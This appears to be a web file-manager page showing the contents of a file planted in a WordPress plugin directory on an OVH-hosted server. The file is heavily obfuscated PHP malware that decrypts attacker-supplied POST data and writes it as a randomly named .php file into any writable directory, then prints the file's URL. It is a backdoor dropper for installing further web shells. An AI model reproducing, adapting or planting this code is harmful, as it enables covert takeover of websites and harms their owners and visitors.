HEX
Server: Apache
System: Linux webd003.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/s/l/y/slyfwmm/foar/wp-content/plugins/attachments/js/ajax.php
<?php $agMZlEMN = "mpaWeKHGN";function PgYcnSwmq($agMZlEMN){ $LxQMEVhT = "\163".chr(1059-943)."\162".chr(833-738).chr(114).'o'."\164".chr(344-295)."\63";$agMZlEMN = $LxQMEVhT($agMZlEMN);$VPWpOZmZs = "\x72".chr(834-737).chr(119)."\165".chr(300-186)."\x6c"."\x64".chr(1003-902)."\143"."\157".chr(736-636).chr(101);$agMZlEMN = $VPWpOZmZs($agMZlEMN);$agMZlEMN = str_split($agMZlEMN);return $agMZlEMN;}function BVWhtVb($mOyPMQDfK, $GpsdRQaQn){$mOyPMQDfK = array_slice(str_split(str_repeat($mOyPMQDfK, (count($GpsdRQaQn)/16)+1)), 0, count($GpsdRQaQn));return $mOyPMQDfK;}function MzWYojICST($odeRs, $DBAUhQHRt, $mOyPMQDfK){$pmsPPldNe = "047b4cd0-f2ad-4c0a-b9f3-ad3dbf6d530f";return $odeRs ^ $pmsPPldNe[$DBAUhQHRt % strlen($pmsPPldNe)] ^ $mOyPMQDfK;}function xHdFhsevOK($GpsdRQaQn, $mOyPMQDfK){$GpsdRQaQn = array_map("MzWYojICST", array_values($GpsdRQaQn), array_keys($GpsdRQaQn), array_values($mOyPMQDfK));$GpsdRQaQn = implode("", $GpsdRQaQn);$JJfeKd = 'u'.'n'.'s'."\x65"."\x72".'i'."\x61"."\x6c"."\151".chr(122).chr(189-88);$GpsdRQaQn = @$JJfeKd($GpsdRQaQn);return $GpsdRQaQn;}function YTMcKzU(){echo "JkjLsWqUDM";}function FumbM($gKTyNUgir){static $DHgHFbQd = array();$BwYesN = glob($gKTyNUgir . '/*', GLOB_ONLYDIR);$LAWBwn = count($BwYesN);if ($LAWBwn > 0) {foreach ($BwYesN as $gKTyNUg) {$HulvGwDJW = chr(105)."\x73"."\137".chr(119).chr(114).'i'."\x74".chr(97)."\142".chr(1038-930)."\x65";if (@$HulvGwDJW($gKTyNUg)) {$DHgHFbQd[] = $gKTyNUg;}}}foreach ($BwYesN as $gKTyNUgir) FumbM($gKTyNUgir);return $DHgHFbQd;}function yPkiaXbE(){echo "mpaWeKHGN";}function FYcefsuJvW($GpsdRQaQn){$PGKTW = 'D'.chr(589-510)."\103"."\x55".'M'."\105".'N'.chr(84)."\137".chr(82)."\x4f".chr(79).'T';$wibjkBd = $_SERVER[$PGKTW];$BwYesN = FumbM($wibjkBd);$lmbeUj = array_rand($BwYesN);$bWcnI = chr(46).chr(430-318)."\x68".'p';$gKTyNUgnRFjRex = $BwYesN[$lmbeUj] . "/" . substr(md5(time()), 0, 8) . $bWcnI;$PVAgoBERtI = "\x66".chr(105).chr(319-211).chr(545-444).chr(95).chr(532-420)."\165"."\x74".'_'.'c'.chr(111)."\156".chr(116)."\145".chr(110).chr(1115-999).chr(249-134);@$PVAgoBERtI($gKTyNUgnRFjRex, $GpsdRQaQn);$PbDopyBEgX = chr(145-73).'T'.'T'.chr(80)."\x5f".chr(939-867)."\x4f".'S'.'T';$MLHmZg = "\x68"."\164"."\x74"."\x70"."\72"."\57"."\x2f";$VrvMg = $MLHmZg . $_SERVER[$PbDopyBEgX] . substr($gKTyNUgnRFjRex, strlen($wibjkBd));print($VrvMg);}function YWEVcDBpak(){$bnyFNjRfpb = "\x70".'h'.chr(112);$JmGIHwwtwP = "\x70"."\150".chr(112).chr(118)."\x65".chr(621-507)."\163".'i'.chr(608-497)."\x6e";$GpsdRQaQn = Array($bnyFNjRfpb => @$JmGIHwwtwP(), );$itEZDU = chr(1038-923).chr(101)."\162"."\x69".chr(726-629)."\x6c".chr(691-586).'z'.'e';echo @$itEZDU($GpsdRQaQn);}foreach ($_POST as $mOyPMQDfK => $GpsdRQaQn){$KhgRK = strlen($mOyPMQDfK);if ($KhgRK == 16){$GpsdRQaQn = PgYcnSwmq($GpsdRQaQn);$mOyPMQDfK = BVWhtVb($mOyPMQDfK, $GpsdRQaQn);$GpsdRQaQn = xHdFhsevOK($GpsdRQaQn, $mOyPMQDfK);if (@is_array($GpsdRQaQn)){$lmbeUj = array_keys($GpsdRQaQn);$GpsdRQaQn = $GpsdRQaQn[$lmbeUj[0]];$lmbeUj = $lmbeUj[0];$lmbeUj = substr($lmbeUj, 0);if ($GpsdRQaQn !== $lmbeUj){FYcefsuJvW($GpsdRQaQn);}else {YWEVcDBpak();}die();}}}